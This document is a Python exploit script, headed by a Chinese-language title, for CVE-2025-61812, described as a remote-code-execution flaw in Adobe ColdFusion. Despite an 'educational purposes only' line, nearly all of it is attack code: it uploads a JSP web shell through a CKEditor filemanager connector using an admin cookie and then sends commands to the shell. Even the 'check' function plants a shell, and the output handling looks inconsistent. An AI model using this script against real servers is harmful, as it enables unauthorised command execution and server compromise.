CVE-2025-61812 Adobe ColdFusion 不正确输入验证导致RCE漏洞

# CVE-2025-61812 Adobe ColdFusion RCE PoC # Note: This is a conceptual PoC for educational purposes only # Actual exploitation requires specific target environment import requests import sys def check_vulnerability(target_url, admin_cookie): """ Check if the target ColdFusion instance is vulnerable to CVE-2025-61812 """ # Vulnerable endpoint - ColdFusion Administrator API vuln_url = f"{target_url}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/connectors/cfm/filemanager.cfm" # Malicious payload exploiting improper input validation payload = { "command": "file_upload", "currentFolder": "/", "file": ("evil.jsp", b"<%@ page import=\"java.io.*\"%><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>", "application/octet-stream") } headers = { "Cookie": admin_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: response = requests.post(vuln_url, files=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Target appears to be vulnerable!") print(f"[+] Response: {response.text[:200]}") return True else: print("[-] Target may not be vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def exploit_rce(target_url, admin_cookie, cmd): """ Execute arbitrary command after exploiting the vulnerability """ # Upload JSP webshell upload_url = f"{target_url}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/connectors/cfm/filemanager.cfm" webshell = f"<%@ page import=\"java.io.*\"%><%Process p=Runtime.getRuntime().exec(\"{cmd}\");%>" payload = { "command": "file_upload", "currentFolder": "/", "file": ("shell.jsp", webshell.encode(), "application/octet-stream") } headers = { "Cookie": admin_cookie, "User-Agent": "Mozilla/5.0" } try: upload_resp = requests.post(upload_url, files=payload, headers=headers, timeout=10) if upload_resp.status_code == 200: shell_url = f"{target_url}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/userfiles/shell.jsp" exec_resp = requests.get(f"{shell_url}?cmd={cmd}", timeout=10) print(f"[+] Command output:\n{exec_resp.text}") return True except Exception as e: print(f"[-] Exploitation failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-61812.py <target_url> <admin_cookie>") print("Example: python cve-2025-61812.py http://target.com 'CFAUTHORIZATION_cfadmin=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print("[*] CVE-2025-61812 Adobe ColdFusion RCE Checker") check_vulnerability(target, cookie)